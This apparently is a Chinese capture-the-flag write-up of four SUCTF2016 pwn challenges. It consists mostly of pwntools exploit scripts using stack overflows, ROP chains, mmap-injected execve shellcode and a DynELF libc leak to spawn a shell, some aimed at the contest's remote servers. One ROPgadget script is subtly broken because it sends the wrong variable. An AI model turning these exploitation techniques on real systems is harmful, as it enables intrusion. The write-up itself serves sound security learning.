pwn之第三更SUCTF2016

pwn之第三更SUCTF2016

题目链接

0x00 pwn100

从来没见过这样的pwn,IDA分析一下直接就看到了flag,这是什么鬼?

但是本着初学者的心态,还是乖乖的写了exp,这个题只要覆盖地址到关键函数,输入zhimakaimen就可以看到flag。

本地调试代码如下:

from pwn import *


io=process('./pwn100')
get_flag=0x0804865D
password='zhimakaimen'
def exp():


    payload='A'*111+chr(0)+p32(get_flag)
    io.sendline(payload)
    io.sendline(password)
    io.interactive()


if __name__=='__main__':
    exp()

0x01 pwn200

这个题目应该是x86下的rop的考查,IDA可以看到有system()函数,可以将‘/bin/sh’写入到bss段里获得shell

本地调试的代码如下:

from pwn import *

io=process('./pwn200')

systemplt=0x080483c0
readplt=0x080483a0
bssadd=0x0804a040
pppr=0x080485fd

def exp():


    payload='A'*112+p32(readplt)+p32(pppr)+p32(0)+p32(bssadd)+p32(8)+p32(systemplt)+p32(0xdeadbeef)+p32(bssadd)
    ##payload+='C'*(256-len(payload))
    io.sendline(payload)
    io.send("/bin/sh\0")
    io.interactive()


if __name__=='__main__':
    exp()

0x02 pwn300

这个题目一到手分析之后就想利用DynElf去泄漏system地址,然后将/bin/sh写入bss段提shell,但是脚本最后不能运行,之后发现程序居然是静态编译成的!!!

之后学习了利用mmap函数映射内存空间将shellcode写入到里面,然后就可以提shell,具体脚本如下:

from pwn import *

#r = remote("106.75.84.74", 10001)#pwn
r = remote("118.193.194.73",10002)#pwn
#r = process("./pwn300")

mmap = 0x08052420
main = 0x08048254
read = 0x080518A0

r.recvuntil("payload:")
payload = "a"*0x70
payload += p32(mmap)
payload += p32(main)
payload += p32(0xb6ffd000)
payload += p32(0x100)
payload += p32(0x7)
payload += p32(0x22)
payload += p32(0xffffffff)
payload += p32(0)
r.sendline(payload)

r.recvuntil("payload:")
payload = "a"*0x68
payload += p32(read)
payload += p32(0xb6ffd000)
payload += p32(0)
payload += p32(0xb6ffd000)
payload += p32(0x40)
r.sendline(payload)

payload = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

r.sendline(payload)
r.interactive()

里面涉及到mmap的几个参数, 主要是prot和flags,
其值的定义在 glibc/bits/mman-linux.h 文件中:

#define PROT_READ        0x1                /* Page can be read.  */
#define PROT_WRITE       0x2                /* Page can be written.  */
#define PROT_EXEC        0x4                /* Page can be executed. */
#define PROT_NONE        0x0                /* Page can not be accessed.  */

这个prot的4个参数, 根linux的权限设置差不多, 这里我把映射的地址设为 rwx , 所以其值为7
然后是flags的定义:

#define MAP_SHARED        0x01           /* Share changes.  */
#define MAP_PRIVATE       0x02           /* Changes are private.  */
#define MAP_FIXED         0x10           /* Interpret addr exactly.  */
#ifdef __USE_MISC
# define MAP_FILE         0
# ifdef __MAP_ANONYMOUS
#  define MAP_ANONYMOUS   __MAP_ANONYMOUS /* Don't use a file.  */
# else
#  define MAP_ANONYMOUS   0x20            /* Don't use a file.  */
# endif
# define MAP_ANON        MAP_ANONYMOUS

flags我们需要设置 MAP_ANONYMOUS 和 MAP_PRIVATE

需要注意的是题目里面还有个小坑,

在0x08048257下个断点,此时的esp=0xffffcfd8
之后在0x0804825a下断点,此时的esp=0xffffcfd0
执行之后平白无故少了8个字节

所以v5的地址esp+1C从64变为6c,所以第一段payload是70,然而执行shellcode的时候地址最低位已经是0了,所以第二个payload是68

由于文件是静态编译的,也可以通过ROPgadget直接寻找rop链,ROPgadget –binary pwn300 –ropchain

from pwn import *
r = process("./pwn300")

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca160) # @ .data
p += pack('<I', 0x08097d94) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08079281) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca164) # @ .data + 4
p += pack('<I', 0x08097d94) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08079281) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca168) # @ .data + 8
p += pack('<I', 0x080977cf) # xor eax, eax ; ret
p += pack('<I', 0x08079281) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0805269e) # pop ebx ; ret
p += pack('<I', 0x080ca160) # @ .data
p += pack('<I', 0x0805269d) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ca168) # @ .data + 8
p += pack('<I', 0x080ca160) # padding without overwrite ebx
p += pack('<I', 0x08052676) # pop edx ; ret
p += pack('<I', 0x080ca168) # @ .data + 8
p += pack('<I', 0x080977cf) # xor eax, eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0806a60f) # inc eax ; ret
p += pack('<I', 0x0804884d) # int 0x80
print len(p)+0x68

r.sendline(payload)
r.interactive()

pwn400

本题主要的思路就是利用DynELF泄漏system地址,然后将/bin/sh写入bss段,还有就是通过Gadget的利用

# -*-coding:utf-8-*-

from pwn import *

r = remote("23.106.148.10",20000)#pwn
#r = process("./simple")

write_plt = 0x00000000004004B0
read_plt = 0x00000000004004D0
main = 0x0000000004005F6
bss = 0x000000000600a70 + 0x100

pop_rdi_ret = 0x00000000004006c3
pop_rsi_pop_r15_ret = 0x00000000004006c1

def leak(addr):
    r.recvuntil("luck!\n")
    payload = "a"*0x28
    payload += p64(pop_rdi_ret)
    payload += p64(0x1)
    payload += p64(pop_rsi_pop_r15_ret)
    payload += p64(addr)
    payload += p64(0x6161616161616161)
    payload += p64(write_plt)
    payload += p64(main)
    r.sendline(payload)
    data = r.recv(8)
    return data

d = DynELF(leak, main, elf=ELF('./simple'))
system_addr = d.lookup('system', 'libc')
print "[*] system addr:{0}".format(hex(system_addr))

r.recvuntil("luck!\n")
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(0x0)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(bss)
payload += p64(0x6161616161616161)
payload += p64(read_plt)
payload += p64(main)
r.sendline(payload)

r.sendline("/bin/sh")

r.recvuntil("luck!\n")
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(bss)
payload += p64(system_addr)
r.sendline(payload)


r.interactive()
文章目录
  1. 1. pwn之第三更SUCTF2016
    1. 1.1. 0x00 pwn100
    2. 1.2. 0x01 pwn200
    3. 1.3. 0x02 pwn300
    4. 1.4. pwn400
|